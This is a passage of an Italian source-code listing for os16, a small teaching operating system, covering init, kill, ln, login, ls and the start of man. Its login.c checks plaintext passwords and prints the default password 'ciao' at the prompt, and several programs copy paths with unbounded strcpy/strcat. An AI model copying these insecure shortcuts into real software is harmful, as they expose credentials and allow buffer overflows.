4260073                 size_read = read (fdn, buffer, (size_t) (BUFSIZ - 1));
4260074                 if (size_read < 0)
4260075                   {
4260076                     break;
4260077                   }
4260078                 buffer[size_read] = '\0';
4260079                 printf ("%s", buffer);
4260080               }
4260081             close (fdn);
4260082           }
4260083         //
4260084         // Show the terminal.
4260085         //
4260086         printf ("This is terminal %s\n", device_name);
4260087         //
4260088         // It is time to exec login: the environment is inherited directly
4260089         // from 'init'.
4260090         //
4260091         exec_argv[0] = "login";
4260092         exec_argv[1] = NULL;
4260093         exec_envp    = envp;
4260094         execve ("/bin/login", exec_argv, exec_envp);
4260095         //
4260096         // If 'execve()' returns, it is an error.
4260097         //
4260098         exit (-1);
4260099 }
```

107.1.13 applic/init.c

«

Si veda la sezione 103.2.

```
4270001 #include <unistd.h>
4270002 #include <stdio.h>
4270003 #include <stdlib.h>
4270004 #include <signal.h>
4270005 #include <sys/wait.h>
4270006 #include <limits.h>
4270007 #include <sys/os16.h>
4270008 #include <fcntl.h>
4270009 #include <string.h>
4270010 //----------------------------------------------------------------------
4270011 #define RESPAWN_MAX        7
4270012 #define COMMAND_MAX      100
4270013 #define LINE_MAX        1024
4270014 //----------------------------------------------------------------------
4270015 int
4270016 main (int argc, char *argv[], char *envp[])
4270017 {
4270018     //
4270019     // 'init.c' has its own 'init.crt0.s' with a very small stack
4270020     // size. Remember to verify to have enough room for the stack.
4270021     //
4270022     pid_t  pid;
4270023     int    status;
4270024     char  *exec_argv[3];
4270025     char  *exec_envp[3];
4270026     char   buffer[LINE_MAX];
4270027     int    r;                     // Respawn table index.
4270028     int    b;                     // Buffer index.
4270029     size_t size_read;
4270030     char  *inittab_id;
4270031     char  *inittab_runlevels;
4270032     char  *inittab_action;
4270033     char  *inittab_process;
4270034     int    eof;
4270035     int    fd;
4270036     //
4270037     // It follows a table for commands to be respawn.
4270038     //
4270039     struct {
4270040         pid_t   pid;
4270041         char    command[COMMAND_MAX];
4270042     } respawn[RESPAWN_MAX];
4270043 
4270044     //------------------------------------------------------------------
4270045     signal (SIGHUP,  SIG_IGN);
4270046     signal (SIGINT,  SIG_IGN);
4270047     signal (SIGQUIT, SIG_IGN);
4270048     signal (SIGILL,  SIG_IGN);
4270049     signal (SIGABRT, SIG_IGN);
```

```
4270050      signal (SIGFPE,  SIG_IGN);
4270051  //  signal (SIGKILL, SIG_IGN);  Cannot ignore SIGKILL.
4270052      signal (SIGSEGV, SIG_IGN);
4270053      signal (SIGPIPE, SIG_IGN);
4270054      signal (SIGALRM, SIG_IGN);
4270055      signal (SIGTERM, SIG_IGN);
4270056  //  signal (SIGSTOP, SIG_IGN);  Cannot ignore SIGSTOP.
4270057      signal (SIGTSTP, SIG_IGN);
4270058      signal (SIGCONT, SIG_IGN);
4270059      signal (SIGTTIN, SIG_IGN);
4270060      signal (SIGTTOU, SIG_IGN);
4270061      signal (SIGUSR1, SIG_IGN);
4270062      signal (SIGUSR2, SIG_IGN);
4270063      //-------------------------------------------------------------------
4270064      printf ("init\n");
4270065      //  heap_clear ();
4270066      //  process_info ();
4270067      //-------------------------------------------------------------------
4270068      //
4270069      // Reset the `respawn' table.
4270070      //
4270071      for (r = 0; r < RESPAWN_MAX; r++)
4270072        {
4270073          respawn[r].pid = 0;
4270074          respawn[r].command[0]                  = 0;
4270075          respawn[r].command[COMMAND_MAX-1] = 0;
4270076        }
4270077      //
4270078      // Read the `/etc/inittab' file.
4270079      //
4270080      fd = open ("/etc/inittab", O_RDONLY);
4270081      //
4270082      if (fd < 0)
4270083        {
4270084          perror ("Cannot open file `/etc/inittab'");
4270085          exit (-1);
4270086        }
4270087      //
4270088      //
4270089      //
4270090      for (eof = 0, r = 0; !eof && r < RESPAWN_MAX; r++)
4270091        {
4270092          for (b = 0; b < LINE_MAX; b++)
4270093            {
4270094              size_read = read (fd, &buffer[b], (size_t) 1);
4270095              if (size_read <= 0)
4270096                {
4270097                  buffer[b] = 0;
4270098                  eof       = 1;            // Close the read loop.
4270099                  break;
4270100                }
4270101              if (buffer[b] == '\n')
```

```
4270102                 {
4270103                   buffer[b]  = 0;
4270104                   break;
4270105                 }
4270106             }
4270107           //
4270108           // Remove comments: just replace '#' with '\0'.
4270109           //
4270110           for (b = 0; b < LINE_MAX; b++)
4270111             {
4270112               if (buffer[b] == '#')
4270113                 {
4270114                   buffer[b] = 0;
4270115                   break;
4270116                 }
4270117             }
4270118           //
4270119           // If the buffer is an empty string, just loop to next
4270120           // record.
4270121           //
4270122           if (strlen (buffer) == 0)
4270123             {
4270124               r--;
4270125               continue;
4270126             }
4270127           //
4270128           //
4270129           //
4270130           inittab_id        = strtok (buffer, ":");
4270131           inittab_runlevels = strtok (NULL, ":");
4270132           inittab_action    = strtok (NULL, ":");
4270133           inittab_process   = strtok (NULL, ":");
4270134           //
4270135           // Only action 'respawn' is used.
4270136           //
4270137           if (strcmp (inittab_action, "respawn") == 0)
4270138             {
4270139               strncpy (respawn[r].command, inittab_process, COMMAND_MAX);
4270140             }
4270141           else
4270142             {
4270143               r--;
4270144             }
4270145         }
4270146       //
4270147       //
4270148       //
4270149       close (fd);
4270150       //
4270151       // Define common environment.
4270152       //
4270153       exec_envp[0] = "PATH=/bin:/usr/bin:/sbin:/usr/sbin";
```

```
4270154      exec_envp[1] = "CONSOLE=/dev/console";
4270155      exec_envp[2] = NULL;
4270156      //
4270157      // Start processes.
4270158      //
4270159      for (r = 0; r < RESPAWN_MAX; r++)
4270160        {
4270161          if (strlen (respawn[r].command) > 0)
4270162            {
4270163              respawn[r].pid = fork ();
4270164              if (respawn[r].pid == 0)
4270165                {
4270166                  exec_argv[0] = strtok (respawn[r].command, " \t");
4270167                  exec_argv[1] = strtok (NULL, " \t");
4270168                  exec_argv[2] = NULL;
4270169                  execve (exec_argv[0], exec_argv, exec_envp);
4270170                  perror (NULL);
4270171                  exit (0);
4270172                }
4270173            }
4270174        }
4270175      //
4270176      // Wait for the death of child.
4270177      //
4270178      while (1)
4270179        {
4270180          pid = wait (&status);
4270181          for (r = 0; r < RESPAWN_MAX; r++)
4270182            {
4270183              if (pid == respawn[r].pid)
4270184                {
4270185                  //
4270186                  // Run it again.
4270187                  //
4270188                  respawn[r].pid = fork ();
4270189                  if (respawn[r].pid == 0)
4270190                    {
4270191                      exec_argv[0] = strtok (respawn[r].command, " \t");
4270192                      exec_argv[1] = strtok (NULL, " \t");
4270193                      exec_argv[2] = NULL;
4270194                      execve (exec_argv[0], exec_argv, exec_envp);
4270195                      exit (0);
4270196                    }
4270197                  break;
4270198                }
4270199            }
4270200        }
4270201  }
```

107.1.14 applic/kill.c

Si veda la sezione 97.10.

```
4280001 #include <sys/os16.h>
4280002 #include <sys/stat.h>
4280003 #include <sys/types.h>
4280004 #include <unistd.h>
4280005 #include <stdlib.h>
4280006 #include <fcntl.h>
4280007 #include <errno.h>
4280008 #include <signal.h>
4280009 #include <stdio.h>
4280010 #include <string.h>
4280011 #include <limits.h>
4280012 #include <libgen.h>
4280013 //----------------------------------------------------------------------
4280014 static void usage         (void);
4280015 //----------------------------------------------------------------------
4280016 int
4280017 main (int argc, char *argv[], char *envp[])
4280018 {
4280019     int          signal;
4280020     int          pid;
4280021     int          a;              // Index inside arguments.
4280022     int          option_s = 0;
4280023     int          option_l = 0;
4280024     int          opt;
4280025     extern char *optarg;
4280026     extern int   optopt;
4280027     //
4280028     // There must be at least an option, plus the program name.
4280029     //
4280030     if (argc < 2)
4280031       {
4280032         usage ();
4280033         return (1);
4280034       }
4280035     //
4280036     // Check for options.
4280037     //
4280038     while ((opt = getopt (argc, argv, ":ls:")) != -1)
4280039       {
4280040         switch (opt)
4280041           {
4280042             case 'l':
4280043                 option_l = 1;
4280044                 break;
4280045             case 's':
4280046                 option_s = 1;
4280047                 //
4280048                 // In that case, there must be at least three arguments:
4280049                 // the option, the signal and the process id.
```

```
4280050                     //
4280051                     if (argc < 4)
4280052                       {
4280053                         usage ();
4280054                         return (1);
4280055                       }
4280056                     //
4280057                     // Argument numbers are ok. Check the signal.
4280058                     //
4280059                     if (strcmp (optarg, "HUP") == 0)
4280060                       {
4280061                         signal = SIGHUP;
4280062                       }
4280063                     else if (strcmp (optarg, "INT") == 0)
4280064                       {
4280065                         signal = SIGINT;
4280066                       }
4280067                     else if (strcmp (optarg, "QUIT") == 0)
4280068                       {
4280069                         signal = SIGQUIT;
4280070                       }
4280071                     else if (strcmp (optarg, "ILL") == 0)
4280072                       {
4280073                         signal = SIGILL;
4280074                       }
4280075                     else if (strcmp (optarg, "ABRT") == 0)
4280076                       {
4280077                         signal = SIGABRT;
4280078                       }
4280079                     else if (strcmp (optarg, "FPE") == 0)
4280080                       {
4280081                         signal = SIGFPE;
4280082                       }
4280083                     else if (strcmp (optarg, "KILL") == 0)
4280084                       {
4280085                         signal = SIGKILL;
4280086                       }
4280087                     else if (strcmp (optarg, "SEGV") == 0)
4280088                       {
4280089                         signal = SIGSEGV;
4280090                       }
4280091                     else if (strcmp (optarg, "PIPE") == 0)
4280092                       {
4280093                         signal = SIGPIPE;
4280094                       }
4280095                     else if (strcmp (optarg, "ALRM") == 0)
4280096                       {
4280097                         signal = SIGALRM;
4280098                       }
4280099                     else if (strcmp (optarg, "TERM") == 0)
4280100                       {
4280101                         signal = SIGTERM;
```

```
4280102                   }
4280103                 else if (strcmp (optarg, "STOP") == 0)
4280104                   {
4280105                     signal = SIGSTOP;
4280106                   }
4280107                 else if (strcmp (optarg, "TSTP") == 0)
4280108                   {
4280109                     signal = SIGTSTP;
4280110                   }
4280111                 else if (strcmp (optarg, "CONT") == 0)
4280112                   {
4280113                     signal = SIGCONT;
4280114                   }
4280115                 else if (strcmp (optarg, "CHLD") == 0)
4280116                   {
4280117                     signal = SIGCHLD;
4280118                   }
4280119                 else if (strcmp (optarg, "TTIN") == 0)
4280120                   {
4280121                     signal = SIGTTIN;
4280122                   }
4280123                 else if (strcmp (optarg, "TTOU") == 0)
4280124                   {
4280125                     signal = SIGTTOU;
4280126                   }
4280127                 else if (strcmp (optarg, "USR1") == 0)
4280128                   {
4280129                     signal = SIGUSR1;
4280130                   }
4280131                 else if (strcmp (optarg, "USR2") == 0)
4280132                   {
4280133                     signal = SIGUSR2;
4280134                   }
4280135                 else
4280136                   {
4280137                     fprintf (stderr, "Unknown signal %s.\n", optarg);
4280138                     return (1);
4280139                   }
4280140                 break;
4280141             case '?':
4280142                 fprintf (stderr, "Unknown option -%c.\n", optopt);
4280143                 usage ();
4280144                 return (1);
4280145                 break;
4280146             case ':':
4280147                 fprintf (stderr, "Missing argument for option -%c\n",
4280148                          optopt);
4280149                 usage ();
4280150                 return (1);
4280151                 break;
4280152             default:
4280153                 fprintf (stderr, "Getopt problem: unknown option %c\n",
```

```
4280154                         opt);
4280155                 return (1);
4280156             }
4280157         }
4280158     //
4280159     //
4280160     //
4280161     if (option_l && option_s)
4280162       {
4280163         fprintf (stderr, "Options \"-l\" and \"-s\" together ");
4280164         fprintf (stderr, "are incompatible.\n");
4280165         usage ();
4280166         return (1);
4280167       }
4280168     //
4280169     // Option "-l".
4280170     //
4280171     if (option_l)
4280172       {
4280173         printf ("HUP ");
4280174         printf ("INT ");
4280175         printf ("QUIT ");
4280176         printf ("ILL ");
4280177         printf ("ABRT ");
4280178         printf ("FPE ");
4280179         printf ("KILL ");
4280180         printf ("SEGV ");
4280181         printf ("PIPE ");
4280182         printf ("ALRM ");
4280183         printf ("TERM ");
4280184         printf ("STOP ");
4280185         printf ("TSTP ");
4280186         printf ("CONT ");
4280187         printf ("CHLD ");
4280188         printf ("TTIN ");
4280189         printf ("TTOU ");
4280190         printf ("USR1 ");
4280191         printf ("USR2 ");
4280192         printf ("\n");
4280193       }
4280194     //
4280195     // Option "-s".
4280196     //
4280197     if (option_s)
4280198       {
4280199         //
4280200         // Scan arguments.
4280201         //
4280202         for (a = 3; a < argc; a++)
4280203           {
4280204             //
4280205             // Get PID.
```

```
4280206                 //
4280207                 pid = atoi (argv[a]);
4280208                 if (pid > 0)
4280209                   {
4280210                     //
4280211                     // Kill.
4280212                     //
4280213                     if (kill (pid, signal) < 0)
4280214                       {
4280215                         perror (argv[a]);
4280216                       }
4280217                   }
4280218                 else
4280219                   {
4280220                     fprintf (stderr, "Invalid PID %s.", argv[a]);
4280221                   }
4280222               }
4280223           }
4280224         //
4280225         // All done.
4280226         //
4280227         return (0);
4280228 }
4280229 //----------------------------------------------------------------------
4280230 static void
4280231 usage (void)
4280232 {
4280233     fprintf (stderr, "Usage: kill -s SIGNAL_NAME PID...\n");
4280234     fprintf (stderr, "       kill -l\n");
4280235 }
```

107.1.15 applic/ln.c

Si veda la sezione 97.11.

```
4290001 #include <sys/os16.h>
4290002 #include <sys/stat.h>
4290003 #include <sys/types.h>
4290004 #include <unistd.h>
4290005 #include <stdlib.h>
4290006 #include <fcntl.h>
4290007 #include <errno.h>
4290008 #include <signal.h>
4290009 #include <stdio.h>
4290010 #include <string.h>
4290011 #include <limits.h>
4290012 #include <libgen.h>
4290013 //----------------------------------------------------------------------
4290014 static void usage (void);
4290015 //----------------------------------------------------------------------
4290016 int
```

```
4290017 main (int argc, char *argv[], char *envp[])
4290018 {
4290019     char       *source;
4290020     char       *destination;
4290021     char       *new_destination;
4290022     struct stat file_status;
4290023     int         dest_is_a_dir = 0;
4290024     int         a;                      // Argument index.
4290025     char        path[PATH_MAX];
4290026     //
4290027     // There must be at least two arguments, plus the program name.
4290028     //
4290029     if (argc < 3)
4290030       {
4290031         usage ();
4290032         return (1);
4290033       }
4290034     //
4290035     // Select the last argument as the destination.
4290036     //
4290037     destination = argv[argc-1];
4290038     //
4290039     // Check if it is a directory and save it in a flag.
4290040     //
4290041     if (stat (destination, &file_status) == 0)
4290042       {
4290043         if (S_ISDIR (file_status.st_mode))
4290044           {
4290045             dest_is_a_dir = 1;
4290046           }
4290047       }
4290048     //
4290049     // If there are more than two arguments, verify that the last
4290050     // one is a directory.
4290051     //
4290052     if (argc > 3)
4290053       {
4290054         if (!dest_is_a_dir)
4290055           {
4290056             usage ();
4290057             fprintf (stderr, "The destination \"%s\" ",
4290058                      destination);
4290059             fprintf (stderr, "is not a directory!\n");
4290060             return (1);
4290061           }
4290062       }
4290063     //
4290064     // Scan the arguments, excluded the last, that is the destination.
4290065     //
4290066     for (a = 1; a < (argc - 1); a++)
4290067       {
4290068         //
```

```
4290069             // Source.
4290070             //
4290071             source = argv[a];
4290072             //
4290073             // Verify access permissions.
4290074             //
4290075             if (access (source, R_OK) < 0)
4290076               {
4290077                 perror (source);
4290078                 continue;
4290079               }
4290080             //
4290081             // Destination.
4290082             //
4290083             // If it is a directory, the destination path
4290084             // must be corrected.
4290085             //
4290086             if (dest_is_a_dir)
4290087               {
4290088                 path[0] = 0;
4290089                 strcat (path, destination);
4290090                 strcat (path, "/");
4290091                 strcat (path, basename (source));
4290092                 //
4290093                 // Update the destination path.
4290094                 //
4290095                 new_destination = path;
4290096               }
4290097             else
4290098               {
4290099                 new_destination = destination;
4290100               }
4290101             //
4290102             // Check if destination file exists.
4290103             //
4290104             if (stat (new_destination, &file_status) == 0)
4290105               {
4290106                 fprintf (stderr, "The destination file, \"%s\", ",
4290107                          new_destination);
4290108                 fprintf (stderr, "already exists!\n");
4290109                 continue;
4290110               }
4290111             //
4290112             // Everything is ready for the link.
4290113             //
4290114             if (link (source, new_destination) < 0)
4290115               {
4290116                 perror (new_destination);
4290117                 continue;
4290118               }
4290119           }
4290120         //
```

```
4290121     // All done.
4290122     //
4290123     return (0);
4290124 }
4290125 //----------------------------------------------------------------------
4290126 static void
4290127 usage (void)
4290128 {
4290129     fprintf (stderr, "Usage: ln OLD_NAME NEW_NAME\n");
4290130     fprintf (stderr, "       ln FILE... DIRECTORY\n");
4290131 }
```

107.1.16 applic/login.c

Si veda la sezione 97.12.

```
4300001 #include <unistd.h>
4300002 #include <stdlib.h>
4300003 #include <sys/stat.h>
4300004 #include <sys/types.h>
4300005 #include <fcntl.h>
4300006 #include <errno.h>
4300007 #include <unistd.h>
4300008 #include <signal.h>
4300009 #include <stdio.h>
4300010 #include <sys/wait.h>
4300011 #include <stdio.h>
4300012 #include <string.h>
4300013 #include <limits.h>
4300014 #include <stdint.h>
4300015 #include <sys/os16.h>
4300016 //----------------------------------------------------------------------
4300017 #define LOGIN_MAX       64
4300018 #define PASSWORD_MAX    64
4300019 #define HOME_MAX        64
4300020 #define LINE_MAX        1024
4300021 //----------------------------------------------------------------------
4300022 int
4300023 main (int argc, char *argv[], char *envp[])
4300024 {
4300025     char    login[LOGIN_MAX];
4300026     char    password[PASSWORD_MAX];
4300027     char    buffer[LINE_MAX];
4300028     char   *user_name;
4300029     char   *user_password;
4300030     char   *user_uid;
4300031     char   *user_gid;
4300032     char   *user_description;
4300033     char   *user_home;
4300034     char   *user_shell;
4300035     uid_t   uid;
```

```
4300036     uid_t   euid;
4300037     int     fd;
4300038     ssize_t size_read;
4300039     int     b;          // Index inside buffer.
4300040     int     loop;
4300041     char   *exec_argv[2];
4300042     int     status;
4300043     char   *tty_path;
4300044     //
4300045     // Check if login is running correctly.
4300046     //
4300047     euid = geteuid ();
4300048     uid  = geteuid ();
4300049     //  //
4300050     //  // Show process info.
4300051     //  //
4300052     //  heap_clear ();
4300053     //  process_info ();
4300054     //
4300055     // Check privileges.
4300056     //
4300057     if (!(uid == 0 && euid == 0))
4300058       {
4300059         printf ("%s: can only run with root privileges!\n", argv[0]);
4300060         exit (-1);
4300061       }
4300062     //
4300063     // Prepare arguments for the shell call.
4300064     //
4300065     exec_argv[0] = "-";
4300066     exec_argv[1] = NULL;
4300067     //
4300068     // Login.
4300069     //
4300070     while (1)
4300071       {
4300072         fd = open ("/etc/passwd", O_RDONLY);
4300073         //
4300074         if (fd < 0)
4300075           {
4300076             perror ("Cannot open file `/etc/passwd'");
4300077             exit (-1);
4300078           }
4300079         //
4300080         printf ("Log in as \"root\" or \"user\" "
4300081                 "with password \"ciao\" :-)\n");
4300082         input_line (login, "login:", LOGIN_MAX, INPUT_LINE_ECHO);
4300083         //
4300084         //
4300085         //
4300086         loop = 1;
4300087         while (loop)
```

```
4300088             {
4300089               for (b = 0; b < LINE_MAX; b++)
4300090                 {
4300091                   size_read = read (fd, &buffer[b], (size_t) 1);
4300092                   if (size_read <= 0)
4300093                     {
4300094                       buffer[b] = 0;
4300095                       loop = 0;            // Close the middle loop.
4300096                       break;
4300097                     }
4300098                   if (buffer[b] == '\n')
4300099                     {
4300100                       buffer[b] = 0;
4300101                       break;
4300102                     }
4300103                 }
4300104               //
4300105               user_name        = strtok (buffer, ":");
4300106               user_password    = strtok (NULL, ":");
4300107               user_uid         = strtok (NULL, ":");
4300108               user_gid         = strtok (NULL, ":");
4300109               user_description = strtok (NULL, ":");
4300110               user_home        = strtok (NULL, ":");
4300111               user_shell       = strtok (NULL, ":");
4300112               //
4300113               if (strcmp (user_name, login) == 0)
4300114                 {
4300115                   input_line (password, "password:", PASSWORD_MAX,
4300116                               INPUT_LINE_STARS);
4300117                   //
4300118                   // Compare passwords: empty passwords are not allowed.
4300119                   //
4300120                   if (strcmp (user_password, password) == 0)
4300121                     {
4300122                       uid  = atoi (user_uid);
4300123                       euid = uid;
4300124                       //
4300125                       // Find the controlling terminal and change
4300126                       // property and access permissions.
4300127                       //
4300128                       tty_path = ttyname (STDIN_FILENO);
4300129                       if (tty_path != NULL)
4300130                         {
4300131                           status = chown (tty_path, uid, 0);
4300132                           if (status != 0)
4300133                             {
4300134                               perror (NULL);
4300135                             }
4300136                           status = chmod (tty_path, 0600);
4300137                           if (status != 0)
4300138                             {
4300139                               perror (NULL);
```

```
4300140                             }
4300141                           }
4300142                         //
4300143                         // Cd to the home directory, if present.
4300144                         //
4300145                         status = chdir (user_home);
4300146                         if (status != 0)
4300147                           {
4300148                             perror (NULL);
4300149                           }
4300150                         //
4300151                         // Now change personality.
4300152                         //
4300153                         setuid (uid);
4300154                         seteuid (euid);
4300155                         //
4300156                         // Run the shell, replacing the login process; the
4300157                         // environment is taken from 'init'.
4300158                         //
4300159                         execve (user_shell, exec_argv, envp);
4300160                         exit (0);
4300161                       }
4300162                     //
4300163                     // Login failed: will try again.
4300164                     //
4300165                     loop = 0;               // Close the middle loop.
4300166                     break;
4300167                   }
4300168               }
4300169             close (fd);
4300170           }
4300171     }
```

107.1.17 applic/ls.c

Si veda la sezione 97.13.

```
4310001 #include <sys/os16.h>
4310002 #include <sys/stat.h>
4310003 #include <sys/types.h>
4310004 #include <unistd.h>
4310005 #include <stdlib.h>
4310006 #include <fcntl.h>
4310007 #include <errno.h>
4310008 #include <signal.h>
4310009 #include <stdio.h>
4310010 #include <string.h>
4310011 #include <limits.h>
4310012 #include <libgen.h>
4310013 #include <dirent.h>
4310014 #include <pwd.h>
```

```
4310015 #include <time.h>
4310016
4310017 #define BUFFER_SIZE     16384
4310018 #define LIST_SIZE       256
4310019
4310020 //------------------------------------------------------------------------
4310021 static void usage         (void);
4310022 //------------------------------------------------------------------------
4310023 //------------------------------------------------------------------------
4310024 int compare (void *p1, void *p2);
4310025 //------------------------------------------------------------------------
4310026 int
4310027 main (int argc, char *argv[], char *envp[])
4310028 {
4310029     int            option_a = 0;
4310030     int            option_l = 0;
4310031     int            opt;
4310032 //  extern char   *optarg;              // not used.
4310033     extern int     optind;
4310034     extern int     optopt;
4310035     struct stat    file_status;
4310036     DIR           *dp;
4310037     struct dirent *dir;
4310038     char           buffer[BUFFER_SIZE];
4310039     int            b;                   // Buffer index.
4310040     char          *list[LIST_SIZE];
4310041     int            l;                   // List index.
4310042     int            len;                 // Name length.
4310043     char          *path = NULL;
4310044     char           pathname[PATH_MAX];
4310045     struct passwd *pws;
4310046     struct tm     *tms;
4310047     //
4310048     // Check for options.
4310049     //
4310050     while ((opt = getopt (argc, argv, ":al")) != -1)
4310051       {
4310052         switch (opt)
4310053           {
4310054             case 'l':
4310055                 option_l = 1;
4310056                 break;
4310057             case 'a':
4310058                 option_a = 1;
4310059                 break;
4310060             case '?':
4310061                 fprintf (stderr, "Unknown option -%c.\n", optopt);
4310062                 usage ();
4310063                 return (1);
4310064                 break;
4310065             case ':':
4310066                 fprintf (stderr, "Missing argument for option -%c\n",
```

```
4310067                         optopt);
4310068                 usage ();
4310069                 return (1);
4310070                 break;
4310071             default:
4310072                 fprintf (stderr, "Getopt problem: unknown option %c\n",
4310073                          opt);
4310074                 return (1);
4310075           }
4310076       }
4310077     //
4310078     // If no arguments are present, at least the current directory is
4310079     // read.
4310080     //
4310081     if (optind == argc)
4310082       {
4310083         //
4310084         // There are no more arguments. Replace the program name,
4310085         // corresponding to 'argv[0]', with the current directory
4310086         // path string.
4310087         //
4310088         argv[0] = ".";
4310089         argc    = 1;
4310090         optind  = 0;
4310091       }
4310092     //
4310093     // This is a very simplified 'ls': if there is only a name
4310094     // and it is a directory, the directory content is taken as
4310095     // the new 'argv[]' array.
4310096     //
4310097     if (optind == (argc -1))
4310098       {
4310099         //
4310100         // There is a request for a single name. Test if it exists
4310101         // and if it is a directory.
4310102         //
4310103         if (stat(argv[optind], &file_status) != 0)
4310104           {
4310105             fprintf (stderr, "File \"%s\" does not exist!\n",
4310106                      argv[optind]);
4310107             return (2);
4310108           }
4310109         //
4310110         if (S_ISDIR (file_status.st_mode))
4310111           {
4310112             //
4310113             // Save the directory inside the 'path' pointer.
4310114             //
4310115             path = argv[optind];
4310116             //
4310117             // Open the directory.
4310118             //
```

```
4310119                 dp = opendir (argv[optind]);
4310120                 if (dp == NULL)
4310121                   {
4310122                     perror (argv[optind]);
4310123                     return (3);
4310124                   }
4310125                 //
4310126                 // Read the directory and fill the buffer with names.
4310127                 //
4310128                 b = 0;
4310129                 l = 0;
4310130                 while ((dir = readdir (dp)) != NULL)
4310131                   {
4310132                     len = strlen (dir->d_name);
4310133                     //
4310134                     // Check if the buffer can hold it.
4310135                     //
4310136                     if ((b + len + 1 ) > BUFFER_SIZE)
4310137                       {
4310138                         fprintf (stderr, "not enough memory\n");
4310139                         break;
4310140                       }
4310141                     //
4310142                     // Consider the directory item only if there is
4310143                     // a valid name. If it is empty, just ignore it.
4310144                     //
4310145                     if (len > 0)
4310146                       {
4310147                         strcpy (&buffer[b], dir->d_name);
4310148                         list[l] = &buffer[b];
4310149                         b += len + 1;
4310150                         l++;
4310151                       }
4310152                   }
4310153                 //
4310154                 // Close the directory.
4310155                 //
4310156                 closedir (dp);
4310157                 //
4310158                 // Sort the list.
4310159                 //
4310160                 qsort (list, (size_t) l, sizeof (char *), compare);
4310161
4310162                 //
4310163                 // Convert the directory list into a new 'argv[]' array,
4310164                 // with a valid 'argc'. The variable 'optind' must be
4310165                 // reset to the first element index, because there is
4310166                 // no program name inside the new 'argv[]' at index zero.
4310167                 //
4310168                 argv   = list;
4310169                 argc   = l;
4310170                 optind = 0;
```

```
4310171             }
4310172         }
4310173       //
4310174       // Scan arguments, or list converted into `argv[]'.
4310175       //
4310176       for (; optind < argc; optind++)
4310177         {
4310178           if (argv[optind][0] == '.')
4310179             {
4310180               //
4310181               // Current name starts with `.'.
4310182               //
4310183               if (!option_a)
4310184                 {
4310185                   //
4310186                   // Do not show name starting with `.'.
4310187                   //
4310188                   continue;
4310189                 }
4310190             }
4310191           //
4310192           // Build the pathname.
4310193           //
4310194           if (path == NULL)
4310195             {
4310196               strcpy (&pathname[0], argv[optind]);
4310197             }
4310198           else
4310199             {
4310200               strcpy (pathname, path);
4310201               strcat (pathname, "/");
4310202               strcat (pathname, argv[optind]);
4310203             }
4310204           //
4310205           // Check if file exists, reading status.
4310206           //
4310207           if (stat(pathname, &file_status) != 0)
4310208             {
4310209               fprintf (stderr, "File \"%s\" does not exist!\n",
4310210                        pathname);
4310211               return (2);
4310212             }
4310213           //
4310214           // Show file name.
4310215           //
4310216           if (option_l)
4310217             {
4310218               //
4310219               // Print the file type.
4310220               //
4310221               if      (S_ISBLK  (file_status.st_mode)) printf ("b");
4310222               else if (S_ISCHR  (file_status.st_mode)) printf ("c");
```

```
4310223             else if (S_ISFIFO (file_status.st_mode)) printf ("p");
4310224             else if (S_ISREG  (file_status.st_mode)) printf ("-");
4310225             else if (S_ISDIR  (file_status.st_mode)) printf ("d");
4310226             else if (S_ISLNK  (file_status.st_mode)) printf ("l");
4310227             else if (S_ISSOCK (file_status.st_mode)) printf ("s");
4310228             else                                     printf ("?");
4310229             //
4310230             // Print permissions.
4310231             //
4310232             if (S_IRUSR & file_status.st_mode) printf ("r");
4310233             else printf ("-");
4310234             if (S_IWUSR & file_status.st_mode) printf ("w");
4310235             else printf ("-");
4310236             if (S_IXUSR & file_status.st_mode) printf ("x");
4310237             else printf ("-");
4310238             if (S_IRGRP & file_status.st_mode) printf ("r");
4310239             else printf ("-");
4310240             if (S_IWGRP & file_status.st_mode) printf ("w");
4310241             else printf ("-");
4310242             if (S_IXGRP & file_status.st_mode) printf ("x");
4310243             else printf ("-");
4310244             if (S_IROTH & file_status.st_mode) printf ("r");
4310245             else printf ("-");
4310246             if (S_IWOTH & file_status.st_mode) printf ("w");
4310247             else printf ("-");
4310248             if (S_IXOTH & file_status.st_mode) printf ("x");
4310249             else printf ("-");
4310250             //
4310251             // Print links.
4310252             //
4310253             printf (" %3i", (int) file_status.st_nlink);
4310254             //
4310255             // Print owner.
4310256             //
4310257             pws = getpwuid (file_status.st_uid);
4310258             //
4310259             printf (" %s", pws->pw_name);
4310260             //
4310261             // Print group (no group available);
4310262             //
4310263             printf (" (no group)");
4310264             //
4310265             // Print file size or device major-minor.
4310266             //
4310267             if (S_ISBLK (file_status.st_mode)
4310268                 || S_ISCHR (file_status.st_mode))
4310269               {
4310270                 printf (" %3i,", (int) major (file_status.st_rdev));
4310271                 printf (" %3i",  (int) minor (file_status.st_rdev));
4310272               }
4310273             else
4310274               {
```

```
4310275                 printf (" %8i", (int) file_status.st_size);
4310276               }
4310277             //
4310278             // Print modification date and time.
4310279             //
4310280             tms = localtime (&(file_status.st_mtime));
4310281             printf (" %4u-%02u-%02u %02u:%02u",
4310282                     tms->tm_year, tms->tm_mon, tms->tm_mday,
4310283                     tms->tm_hour, tms->tm_min);
4310284             //
4310285             // Print file name, but with no additional path.
4310286             //
4310287             printf (" %s\n", argv[optind]);
4310288           }
4310289         else
4310290           {
4310291             //
4310292             // Just show the file name and go to the next line.
4310293             //
4310294             printf ("%s\n", argv[optind]);
4310295           }
4310296       }
4310297     //
4310298     // All done.
4310299     //
4310300     return (0);
4310301 }
4310302 //----------------------------------------------------------------------
4310303 static void
4310304 usage (void)
4310305 {
4310306     fprintf (stderr, "Usage: ls [OPTION] [FILE]...\n");
4310307 }
4310308 //----------------------------------------------------------------------
4310309 int
4310310 compare (void *p1, void *p2)
4310311 {
4310312     char **pp1 = p1;
4310313     char **pp2 = p2;
4310314     //
4310315     return (strcmp (*pp1, *pp2));
4310316 }
4310317
```

107.1.18 applic/man.c

Si veda la sezione 97.14.

```
4320001 #include <unistd.h>
4320002 #include <stdlib.h>
4320003 #include <errno.h>
4320004 //----------------------------------------------------------------------
4320005 #define MAX_LINES   20
4320006 #define MAX_COLUMNS 80
4320007 //----------------------------------------------------------------------
4320008 static char *man_page_directory = "/usr/share/man";
4320009 //----------------------------------------------------------------------
4320010 static void  usage           (void);
4320011 static FILE *open_man_page  (int section, char *name);
4320012 static void build_path_name (int section, char *name, char *path);
4320013 //----------------------------------------------------------------------
4320014 int
4320015 main (int argc, char *argv[], char *envp[])
4320016 {
4320017     FILE       *fp;
4320018     char       *name;
4320019     int         section;
4320020     int         c;
4320021     int         line   = 1; // Line internal counter.
4320022     int         column = 1; // Column internal counter.
4320023     int         loop;
4320024     //
4320025     // There must be minimum an argument, and maximum two.
4320026     //
4320027     if (argc < 2 || argc > 3)
